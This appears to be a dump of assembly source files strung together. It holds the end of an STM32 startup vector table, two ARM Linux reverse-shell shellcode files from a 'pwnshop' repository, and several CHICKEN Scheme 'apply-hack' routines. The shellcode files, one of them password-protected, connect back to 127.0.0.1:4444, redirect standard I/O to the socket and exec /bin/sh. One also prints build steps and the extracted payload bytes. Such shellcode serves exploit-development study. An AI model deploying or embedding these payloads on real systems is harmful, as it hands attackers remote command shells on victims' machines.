.word TIM1_BRK_TIM9_IRQHandler /* TIM1 Break and TIM9 */
.word TIM1_UP_TIM10_IRQHandler /* TIM1 Update and TIM10 */
.word TIM1_TRG_COM_TIM11_IRQHandler /* TIM1 Trigger and Commutation and TIM11 */
.word TIM1_CC_IRQHandler /* TIM1 Capture Compare */
.word TIM2_IRQHandler /* TIM2 */
.word TIM3_IRQHandler /* TIM3 */
.word TIM4_IRQHandler /* TIM4 */
.word I2C1_EV_IRQHandler /* I2C1 Event */
.word I2C1_ER_IRQHandler /* I2C1 Error */
.word I2C2_EV_IRQHandler /* I2C2 Event */
.word I2C2_ER_IRQHandler /* I2C2 Error */
.word SPI1_IRQHandler /* SPI1 */
.word SPI2_IRQHandler /* SPI2 */
.word USART1_IRQHandler /* USART1 */
.word USART2_IRQHandler /* USART2 */
.word USART3_IRQHandler /* USART3 */
.word EXTI15_10_IRQHandler /* External Line[15:10]s */
.word RTC_Alarm_IRQHandler /* RTC Alarm (A and B) through EXTI Line */
.word OTG_FS_WKUP_IRQHandler /* USB OTG FS Wakeup through EXTI line */
.word TIM8_BRK_TIM12_IRQHandler /* TIM8 Break and TIM12 */
.word TIM8_UP_TIM13_IRQHandler /* TIM8 Update and TIM13 */
.word TIM8_TRG_COM_TIM14_IRQHandler /* TIM8 Trigger and Commutation and TIM14 */
.word TIM8_CC_IRQHandler /* TIM8 Capture Compare */
.word DMA1_Stream7_IRQHandler /* DMA1 Stream7 */
.word FMC_IRQHandler /* FMC */
.word SDMMC1_IRQHandler /* SDMMC1 */
.word TIM5_IRQHandler /* TIM5 */
.word SPI3_IRQHandler /* SPI3 */
.word UART4_IRQHandler /* UART4 */
.word UART5_IRQHandler /* UART5 */
.word TIM6_DAC_IRQHandler /* TIM6 and DAC1&2 underrun errors */
.word TIM7_IRQHandler /* TIM7 */
.word DMA2_Stream0_IRQHandler /* DMA2 Stream 0 */
.word DMA2_Stream1_IRQHandler /* DMA2 Stream 1 */
.word DMA2_Stream2_IRQHandler /* DMA2 Stream 2 */
.word DMA2_Stream3_IRQHandler /* DMA2 Stream 3 */
.word DMA2_Stream4_IRQHandler /* DMA2 Stream 4 */
.word ETH_IRQHandler /* Ethernet */
.word ETH_WKUP_IRQHandler /* Ethernet Wakeup through EXTI line */
.word CAN2_TX_IRQHandler /* CAN2 TX */
.word CAN2_RX0_IRQHandler /* CAN2 RX0 */
.word CAN2_RX1_IRQHandler /* CAN2 RX1 */
.word CAN2_SCE_IRQHandler /* CAN2 SCE */
.word OTG_FS_IRQHandler /* USB OTG FS */
.word DMA2_Stream5_IRQHandler /* DMA2 Stream 5 */
.word DMA2_Stream6_IRQHandler /* DMA2 Stream 6 */
.word DMA2_Stream7_IRQHandler /* DMA2 Stream 7 */
.word USART6_IRQHandler /* USART6 */
.word I2C3_EV_IRQHandler /* I2C3 event */
.word I2C3_ER_IRQHandler /* I2C3 error */
.word OTG_HS_EP1_OUT_IRQHandler /* USB OTG HS End Point 1 Out */
.word OTG_HS_EP1_IN_IRQHandler /* USB OTG HS End Point 1 In */
.word OTG_HS_WKUP_IRQHandler /* USB OTG HS Wakeup through EXTI */
.word OTG_HS_IRQHandler /* USB OTG HS */
.word DCMI_IRQHandler /* DCMI */
.word 0 /* Reserved */
.word RNG_IRQHandler /* Rng */
.word FPU_IRQHandler /* FPU */
.word UART7_IRQHandler /* UART7 */
.word UART8_IRQHandler /* UART8 */
.word SPI4_IRQHandler /* SPI4 */
.word SPI5_IRQHandler /* SPI5 */
.word SPI6_IRQHandler /* SPI6 */
.word SAI1_IRQHandler /* SAI1 */
.word LTDC_IRQHandler /* LTDC */
.word LTDC_ER_IRQHandler /* LTDC error */
.word DMA2D_IRQHandler /* DMA2D */
.word SAI2_IRQHandler /* SAI2 */
.word QUADSPI_IRQHandler /* QUADSPI */
.word LPTIM1_IRQHandler /* LPTIM1 */
.word CEC_IRQHandler /* HDMI_CEC */
.word I2C4_EV_IRQHandler /* I2C4 Event */
.word I2C4_ER_IRQHandler /* I2C4 Error */
.word SPDIF_RX_IRQHandler /* SPDIF_RX */
/*******************************************************************************
*
* Provide weak aliases for each Exception handler to the Default_Handler.
* As they are weak aliases, any function with the same name will override
* this definition.
*
*******************************************************************************/
.weak NMI_Handler
.thumb_set NMI_Handler,Default_Handler
.weak HardFault_Handler
.thumb_set HardFault_Handler,Default_Handler
.weak MemManage_Handler
.thumb_set MemManage_Handler,Default_Handler
.weak BusFault_Handler
.thumb_set BusFault_Handler,Default_Handler
.weak UsageFault_Handler
.thumb_set UsageFault_Handler,Default_Handler
.weak SVC_Handler
.thumb_set SVC_Handler,Default_Handler
.weak DebugMon_Handler
.thumb_set DebugMon_Handler,Default_Handler
.weak PendSV_Handler
.thumb_set PendSV_Handler,Default_Handler
.weak SysTick_Handler
.thumb_set SysTick_Handler,Default_Handler
.weak WWDG_IRQHandler
.thumb_set WWDG_IRQHandler,Default_Handler
.weak PVD_IRQHandler
.thumb_set PVD_IRQHandler,Default_Handler
.weak TAMP_STAMP_IRQHandler
.thumb_set TAMP_STAMP_IRQHandler,Default_Handler
.weak RTC_WKUP_IRQHandler
.thumb_set RTC_WKUP_IRQHandler,Default_Handler
.weak FLASH_IRQHandler
.thumb_set FLASH_IRQHandler,Default_Handler
.weak RCC_IRQHandler
.thumb_set RCC_IRQHandler,Default_Handler
.weak EXTI0_IRQHandler
.thumb_set EXTI0_IRQHandler,Default_Handler
.weak EXTI1_IRQHandler
.thumb_set EXTI1_IRQHandler,Default_Handler
.weak EXTI2_IRQHandler
.thumb_set EXTI2_IRQHandler,Default_Handler
.weak EXTI3_IRQHandler
.thumb_set EXTI3_IRQHandler,Default_Handler
.weak EXTI4_IRQHandler
.thumb_set EXTI4_IRQHandler,Default_Handler
.weak DMA1_Stream0_IRQHandler
.thumb_set DMA1_Stream0_IRQHandler,Default_Handler
.weak DMA1_Stream1_IRQHandler
.thumb_set DMA1_Stream1_IRQHandler,Default_Handler
.weak DMA1_Stream2_IRQHandler
.thumb_set DMA1_Stream2_IRQHandler,Default_Handler
.weak DMA1_Stream3_IRQHandler
.thumb_set DMA1_Stream3_IRQHandler,Default_Handler
.weak DMA1_Stream4_IRQHandler
.thumb_set DMA1_Stream4_IRQHandler,Default_Handler
.weak DMA1_Stream5_IRQHandler
.thumb_set DMA1_Stream5_IRQHandler,Default_Handler
.weak DMA1_Stream6_IRQHandler
.thumb_set DMA1_Stream6_IRQHandler,Default_Handler
.weak ADC_IRQHandler
.thumb_set ADC_IRQHandler,Default_Handler
.weak CAN1_TX_IRQHandler
.thumb_set CAN1_TX_IRQHandler,Default_Handler
.weak CAN1_RX0_IRQHandler
.thumb_set CAN1_RX0_IRQHandler,Default_Handler
.weak CAN1_RX1_IRQHandler
.thumb_set CAN1_RX1_IRQHandler,Default_Handler
.weak CAN1_SCE_IRQHandler
.thumb_set CAN1_SCE_IRQHandler,Default_Handler
.weak EXTI9_5_IRQHandler
.thumb_set EXTI9_5_IRQHandler,Default_Handler
.weak TIM1_BRK_TIM9_IRQHandler
.thumb_set TIM1_BRK_TIM9_IRQHandler,Default_Handler
.weak TIM1_UP_TIM10_IRQHandler
.thumb_set TIM1_UP_TIM10_IRQHandler,Default_Handler
.weak TIM1_TRG_COM_TIM11_IRQHandler
.thumb_set TIM1_TRG_COM_TIM11_IRQHandler,Default_Handler
.weak TIM1_CC_IRQHandler
.thumb_set TIM1_CC_IRQHandler,Default_Handler
.weak TIM2_IRQHandler
.thumb_set TIM2_IRQHandler,Default_Handler
.weak TIM3_IRQHandler
.thumb_set TIM3_IRQHandler,Default_Handler
.weak TIM4_IRQHandler
.thumb_set TIM4_IRQHandler,Default_Handler
.weak I2C1_EV_IRQHandler
.thumb_set I2C1_EV_IRQHandler,Default_Handler
.weak I2C1_ER_IRQHandler
.thumb_set I2C1_ER_IRQHandler,Default_Handler
.weak I2C2_EV_IRQHandler
.thumb_set I2C2_EV_IRQHandler,Default_Handler
.weak I2C2_ER_IRQHandler
.thumb_set I2C2_ER_IRQHandler,Default_Handler
.weak SPI1_IRQHandler
.thumb_set SPI1_IRQHandler,Default_Handler
.weak SPI2_IRQHandler
.thumb_set SPI2_IRQHandler,Default_Handler
.weak USART1_IRQHandler
.thumb_set USART1_IRQHandler,Default_Handler
.weak USART2_IRQHandler
.thumb_set USART2_IRQHandler,Default_Handler
.weak USART3_IRQHandler
.thumb_set USART3_IRQHandler,Default_Handler
.weak EXTI15_10_IRQHandler
.thumb_set EXTI15_10_IRQHandler,Default_Handler
.weak RTC_Alarm_IRQHandler
.thumb_set RTC_Alarm_IRQHandler,Default_Handler
.weak OTG_FS_WKUP_IRQHandler
.thumb_set OTG_FS_WKUP_IRQHandler,Default_Handler
.weak TIM8_BRK_TIM12_IRQHandler
.thumb_set TIM8_BRK_TIM12_IRQHandler,Default_Handler
.weak TIM8_UP_TIM13_IRQHandler
.thumb_set TIM8_UP_TIM13_IRQHandler,Default_Handler
.weak TIM8_TRG_COM_TIM14_IRQHandler
.thumb_set TIM8_TRG_COM_TIM14_IRQHandler,Default_Handler
.weak TIM8_CC_IRQHandler
.thumb_set TIM8_CC_IRQHandler,Default_Handler
.weak DMA1_Stream7_IRQHandler
.thumb_set DMA1_Stream7_IRQHandler,Default_Handler
.weak FMC_IRQHandler
.thumb_set FMC_IRQHandler,Default_Handler
.weak SDMMC1_IRQHandler
.thumb_set SDMMC1_IRQHandler,Default_Handler
.weak TIM5_IRQHandler
.thumb_set TIM5_IRQHandler,Default_Handler
.weak SPI3_IRQHandler
.thumb_set SPI3_IRQHandler,Default_Handler
.weak UART4_IRQHandler
.thumb_set UART4_IRQHandler,Default_Handler
.weak UART5_IRQHandler
.thumb_set UART5_IRQHandler,Default_Handler
.weak TIM6_DAC_IRQHandler
.thumb_set TIM6_DAC_IRQHandler,Default_Handler
.weak TIM7_IRQHandler
.thumb_set TIM7_IRQHandler,Default_Handler
.weak DMA2_Stream0_IRQHandler
.thumb_set DMA2_Stream0_IRQHandler,Default_Handler
.weak DMA2_Stream1_IRQHandler
.thumb_set DMA2_Stream1_IRQHandler,Default_Handler
.weak DMA2_Stream2_IRQHandler
.thumb_set DMA2_Stream2_IRQHandler,Default_Handler
.weak DMA2_Stream3_IRQHandler
.thumb_set DMA2_Stream3_IRQHandler,Default_Handler
.weak DMA2_Stream4_IRQHandler
.thumb_set DMA2_Stream4_IRQHandler,Default_Handler
.weak DMA2_Stream4_IRQHandler
.thumb_set DMA2_Stream4_IRQHandler,Default_Handler
.weak ETH_IRQHandler
.thumb_set ETH_IRQHandler,Default_Handler
.weak ETH_WKUP_IRQHandler
.thumb_set ETH_WKUP_IRQHandler,Default_Handler
.weak CAN2_TX_IRQHandler
.thumb_set CAN2_TX_IRQHandler,Default_Handler
.weak CAN2_RX0_IRQHandler
.thumb_set CAN2_RX0_IRQHandler,Default_Handler
.weak CAN2_RX1_IRQHandler
.thumb_set CAN2_RX1_IRQHandler,Default_Handler
.weak CAN2_SCE_IRQHandler
.thumb_set CAN2_SCE_IRQHandler,Default_Handler
.weak OTG_FS_IRQHandler
.thumb_set OTG_FS_IRQHandler,Default_Handler
.weak DMA2_Stream5_IRQHandler
.thumb_set DMA2_Stream5_IRQHandler,Default_Handler
.weak DMA2_Stream6_IRQHandler
.thumb_set DMA2_Stream6_IRQHandler,Default_Handler
.weak DMA2_Stream7_IRQHandler
.thumb_set DMA2_Stream7_IRQHandler,Default_Handler
.weak USART6_IRQHandler
.thumb_set USART6_IRQHandler,Default_Handler
.weak I2C3_EV_IRQHandler
.thumb_set I2C3_EV_IRQHandler,Default_Handler
.weak I2C3_ER_IRQHandler
.thumb_set I2C3_ER_IRQHandler,Default_Handler
.weak OTG_HS_EP1_OUT_IRQHandler
.thumb_set OTG_HS_EP1_OUT_IRQHandler,Default_Handler
.weak OTG_HS_EP1_IN_IRQHandler
.thumb_set OTG_HS_EP1_IN_IRQHandler,Default_Handler
.weak OTG_HS_WKUP_IRQHandler
.thumb_set OTG_HS_WKUP_IRQHandler,Default_Handler
.weak OTG_HS_IRQHandler
.thumb_set OTG_HS_IRQHandler,Default_Handler
.weak DCMI_IRQHandler
.thumb_set DCMI_IRQHandler,Default_Handler
.weak RNG_IRQHandler
.thumb_set RNG_IRQHandler,Default_Handler
.weak FPU_IRQHandler
.thumb_set FPU_IRQHandler,Default_Handler
.weak UART7_IRQHandler
.thumb_set UART7_IRQHandler,Default_Handler
.weak UART8_IRQHandler
.thumb_set UART8_IRQHandler,Default_Handler
.weak SPI4_IRQHandler
.thumb_set SPI4_IRQHandler,Default_Handler
.weak SPI5_IRQHandler
.thumb_set SPI5_IRQHandler,Default_Handler
.weak SPI6_IRQHandler
.thumb_set SPI6_IRQHandler,Default_Handler
.weak SAI1_IRQHandler
.thumb_set SAI1_IRQHandler,Default_Handler
.weak LTDC_IRQHandler
.thumb_set LTDC_IRQHandler,Default_Handler
.weak LTDC_ER_IRQHandler
.thumb_set LTDC_ER_IRQHandler,Default_Handler
.weak DMA2D_IRQHandler
.thumb_set DMA2D_IRQHandler,Default_Handler
.weak SAI2_IRQHandler
.thumb_set SAI2_IRQHandler,Default_Handler
.weak QUADSPI_IRQHandler
.thumb_set QUADSPI_IRQHandler,Default_Handler
.weak LPTIM1_IRQHandler
.thumb_set LPTIM1_IRQHandler,Default_Handler
.weak CEC_IRQHandler
.thumb_set CEC_IRQHandler,Default_Handler
.weak I2C4_EV_IRQHandler
.thumb_set I2C4_EV_IRQHandler,Default_Handler
.weak I2C4_ER_IRQHandler
.thumb_set I2C4_ER_IRQHandler,Default_Handler
.weak SPDIF_RX_IRQHandler
.thumb_set SPDIF_RX_IRQHandler,Default_Handler
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
alanvivona/pwnshop | 3,446 | src/0x15-ARM-shellcode/ARM-reverse-shell-with-nulls.s | .section .text
.global _start
_start:
.arm
add r3, pc, #1 // switch to thumb mode
bx r3
.thumb
// [281] socket(2, 1, 0)
mov r0, #2
mov r1, #1
eor r2, r2
mov r7, #200
add r7, #81
svc #1
mov r10, r0 // save sockfd into r10
// [283] connect(socketfd, &addrstruct, addrlen)
// socket fd is in r0 already
adr r1, struct
mov r2, #16
add r7, #2 // 281 + 2 = 283
svc #1
// [063] dup2(sockfd, stdIO)
mov r1, #2 // r1 = 2 (stderr)
mov r7, #63 // r7 = 63 (dup2)
loop_stdio:
mov r0, r10 // r0 = saved sockfd
svc #1
sub r1,#1
bpl loop_stdio // loop while r3 >= 0
// [011] execve("/bin/sh", 0, 0)
adr r0, binsh
eor r2, r2
eor r1, r1
strb r2, [r0, #7]
mov r7, #11
svc #1
// fix aligment
nop
struct:
.ascii "\x02\x00" // AF_INET
.ascii "\x11\x5c" // port 4444
.byte 127,0,0,1 // ip
binsh:
.ascii "/bin/sh?"
|
alanvivona/pwnshop | 2,798 | src/0x15-ARM-shellcode/ARM-reverse-shell-with-auth.s | /*
* Title: Linux/ARM - Password-Protected Reverse TCP Shell
* Date: 2019-04-20
* Tested: armv6 (32-bit Raspberry Pi I)
* Author: Alan Vivona - @syscall59 - medium.syscall59.com
* Size: 100 bytes
* No null bytes / Null-free
*/
.section .text
.global _start
_start:
.arm
add r3, pc, #1 // switch to thumb mode
bx r3
.thumb
// [281] socket(2, 1, 0)
mov r0, #2
mov r1, #1
eor r2, r2
mov r7, #200
add r7, #81
svc #1
mov r10, r0 // save sockfd into r10
// [283] connect(socketfd, target, addrlen)
// socket fd is in r0 already
adr r1, target
strb r2, [r1, #1] // replace the 0xff value of the protocol field with a 0x00
strb r2, [r1, #5] // replace the 1st '255' values of the IP field with a 0
strb r2, [r1, #6] // replace the 2nd '255' values of the IP field with a 0
mov r2, #16
add r7, #2 // 281 + 2 = 283
svc #1
// [003] read(sourcefd, destbuffer, amount)
push {r1}
mov r1, sp
mov r2, #4
mov r7, #3
read_pass:
mov r0, r10
svc #1
check_pass:
ldr r3, pass
ldr r4, [r1]
eor r3, r3, r4
bne read_pass
// [063] dup2(sockfd, stdIO)
mov r1, #2 // r1 = 2 (stderr)
mov r7, #63 // r7 = 63 (dup2)
loop_stdio:
mov r0, r10 // r0 = saved sockfd
svc #1
sub r1,#1
bpl loop_stdio // loop while r1 >= 0
// [011] execve(command, 0, 0)
adr r0, command
eor r2, r2
eor r1, r1
strb r2, [r0, #7]
mov r7, #11
svc #1
// 2 bytes aligment fix if needed needed (can't use a nop as it has a null byte)
// align_bytes : .byte 0xff, 0xff
target:
// The 0xff will be replaced with a null on runtime
.ascii "\x02\xff" // Protocol: IPv4/TCP.
.ascii "\x11\x5c" // Port : 4444
// The '255' will be replaced with a 0 on runtime
.byte 127,255,255,1 // IP: 127.0.0.1.
command: .ascii "/bin/sh?" // The '?' will be replaced with a null on runtime
pass: .ascii "S59!"
/*
Compile, link & extract:
as ARM-reverse-shell.s -o ARM-reverse-shell.o
ld -N ARM-reverse-shell.o -o ARM-reverse-shell
objcopy -O binary ARM-reverse-shell ARM-reverse-shell.dump
hexdump -v -e '"\\""x" 1/1 "%02x" ""' ARM-reverse-shell.dump
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x82\x46\x0e\xa1\x4a
\x70\x4a\x71\x8a\x71\x10\x22\x02\x37\x01\xdf\x02\xb4\x69\x46\x04\x22\x03\x27\x50\x46\x01\xdf\x0b\x4b
\x0c\x68\x63\x40\xf9\xd1\x02\x21\x3f\x27\x50\x46\x01\xdf\x01\x39\xfb\xd5\x04\xa0\x52\x40\x49\x40\xc2
\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x7f\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x3f\x53\x35\x39\x21
*/
|
alaricsp/chicken-scheme | 2,641 | apply-hack.ppc.darwin.s | /* apply-hack.ppc.s
;
; Copyright (c) 2007, Felix L. Winkelmann
; Copyright (c) 2008-2009 The Chicken Team
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following
; conditions are met:
;
; Redistributions of source code must retain the above copyright notice, this list of conditions and the following
; disclaimer.
; Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
; disclaimer in the documentation and/or other materials provided with the distribution.
; Neither the name of the author nor the names of its contributors may be used to endorse or promote
; products derived from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
; OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
*/
.text
.globl _C_do_apply_hack
.align 2
_C_do_apply_hack:
mr r13, r3 /* r13=proc */
mr r14, r4 /* r14=buf */
mr r15, r5 /* r15=count */
cmpwi r15, 8
bge l1
li r3, 8 /* offset is (8 - count) * 4 */
sub r15, r3, r15
slwi r15, r15, 2
bl l2 /* compute branch address */
l2: mflr r4
add r15, r4, r15
addi r15, r15, lo16(l1 - l2)
mtctr r15
bctr
l1: lwz r10, 28(r14) /* load register arguments */
lwz r9, 24(r14)
lwz r8, 20(r14)
lwz r7, 16(r14)
lwz r6, 12(r14)
lwz r5, 8(r14)
lwz r4, 4(r14)
lwz r3, 0(r14)
lwz r15, 20(r1) /* save link area above faked argument area */
stw r15, -4(r14) /* (start from end if destination overlaps) */
lwz r15, 16(r1) /* is this needed at all? at least for proper gdb backtraces? */
stw r15, -8(r14)
lwz r15, 12(r1)
stw r15, -12(r14)
lwz r15, 8(r1)
stw r15, -16(r14)
lwz r15, 4(r1)
stw r15, -20(r14)
lwz r15, 0(r1)
stw r15, -24(r14)
addi r1, r14, -24 /* set frame-pointer to faked frame */
mtctr r13 /* jump to proc, lr is invalid, but we won't return anyway */
bctr
|
alaricsp/chicken-scheme | 2,313 | apply-hack.x86-64.s | /* Apply-hack.x86-64.s
;
; Copyright (c) 2007, Felix L. Winkelmann
; Copyright (c) 2008-2009, The Chicken Team
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following
; conditions are met:
;
; Redistributions of source code must retain the above copyright notice, this list of conditions and the following
; disclaimer.
; Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
; disclaimer in the documentation and/or other materials provided with the distribution.
; Neither the name of the author nor the names of its contributors may be used to endorse or promote
; products derived from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
; OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
*/
.text
.globl _C_do_apply_hack
#ifndef __APPLE__
.type _C_do_apply_hack, @function
#endif
_C_do_apply_hack:
subq $8, %rsp /* force non-16 byte alignment */
movq %rdi, %r11 /* get proc */
movq %rsi, %r10 /* save buffer address, before we clobber %rsi */
cmpl $6, %edx /* clamp at 6 */
ja l2
je l3
movq $6, %rbx /* (6 - count) * 4 gives instruction address */
subq %rdx, %rbx
shlq $2, %rbx
lea l3(%rip), %rdx
addq %rdx, %rbx
jmp *%rbx
l2: lea 48(%r10), %rsp /* %r10 must be 16-byte aligned at this point */
l3: movq 40(%r10), %r9 /* fill registers... */
movq 32(%r10), %r8
movq 24(%r10), %rcx
movq 16(%r10), %rdx
movq 8(%r10), %rsi
movq (%r10), %rdi
xorq %rax, %rax
call *%r11
|
alaricsp/chicken-scheme | 2,337 | apply-hack.sparc64.s | /* apply-hack.ppc.s
;
; Copyright (c) 2008-2009, Peter Bex
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following
; conditions are met:
;
; Redistributions of source code must retain the above copyright notice, this list of conditions and the following
; disclaimer.
; Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
; disclaimer in the documentation and/or other materials provided with the distribution.
; Neither the name of the author nor the names of its contributors may be used to endorse or promote
; products derived from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
; OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
*/
.text
.globl _C_do_apply_hack
.align 8
.equ BIAS, 2047
_C_do_apply_hack:
mov %o1, %g4 /* buf */
sllx %o2, 3, %o2 /* o2 <- count, in bytes */
subcc %o2, 6*8, %o2 /* 6 params are in registers */
bg l0
mov %o0, %g1 /* proc (delay slot) */
udivx %o2, -2, %o2 /* Offset in quads -> offset in words from l2 */
setx l2, %o3, %o1
jmp %o1+%o2
nop
/* Rest args on stack if > 6 args */
l0: sub %sp, %o2, %sp /* Alloc space for additional args */
clr %o1
add %sp, BIAS+176, %o5
add %g4, 6*8, %o3 /* 7th arg and up */
l1: ldx [%o3], %o4
stx %o4, [%o5+%o1]
add %o1, 8, %o1
cmp %o1, %o2
bl l1
add %o3, 8, %o3 /* (delay slot) */
l2: ldx [%g4+40], %o5
ldx [%g4+32], %o4
ldx [%g4+24], %o3
ldx [%g4+16], %o2
ldx [%g4+8], %o1
ldx [%g4+0], %o0
jmp %g1
nop
|
alaricsp/chicken-scheme | 1,707 | apply-hack.x86.s | /* apply-hack.x86.s
;
; Copyright (c) 2007, Felix L. Winkelmann
; Copyright (c) 2008-2009, The Chicken Team
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following
; conditions are met:
;
; Redistributions of source code must retain the above copyright notice, this list of conditions and the following
; disclaimer.
; Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
; disclaimer in the documentation and/or other materials provided with the distribution.
; Neither the name of the author nor the names of its contributors may be used to endorse or promote
; products derived from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
; OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
*/
.text
.globl _C_do_apply_hack
_C_do_apply_hack:
movl 4(%esp), %eax
movl 8(%esp), %esp
call *%eax
|
alaricsp/chicken-scheme | 2,608 | apply-hack.ppc.sysv.s | /* apply-hack.ppc.s
;
; Copyright (c) 2007, Felix L. Winkelmann
; Copyright (c) 2008-2009, The Chicken Team
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following
; conditions are met:
;
; Redistributions of source code must retain the above copyright notice, this list of conditions and the following
; disclaimer.
; Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
; disclaimer in the documentation and/or other materials provided with the distribution.
; Neither the name of the author nor the names of its contributors may be used to endorse or promote
; products derived from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
; OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
*/
.text
.globl _C_do_apply_hack
.align 2
_C_do_apply_hack:
mr %r13, %r3 /* r13=proc */
mr %r14, %r4 /* r14=buf */
mr %r15, %r5 /* r15=count */
li %r16, 8 /* Assume count >= 8 */
cmpwi %r15, 8
bge l1
li %r3, 8 /* offset is (8 - count) * 4 */
mr %r16, %r15 /* Remember count */
sub %r15, %r3, %r15
slwi %r15, %r15, 2
bl l2 /* compute branch address */
l2: mflr %r4
add %r15, %r4, %r15
addi %r15, %r15, (l1 - l2)@l
mtctr %r15
bctr
l1: lwz %r10, 28(%r14) /* load register arguments */
lwz %r9, 24(%r14)
lwz %r8, 20(%r14)
lwz %r7, 16(%r14)
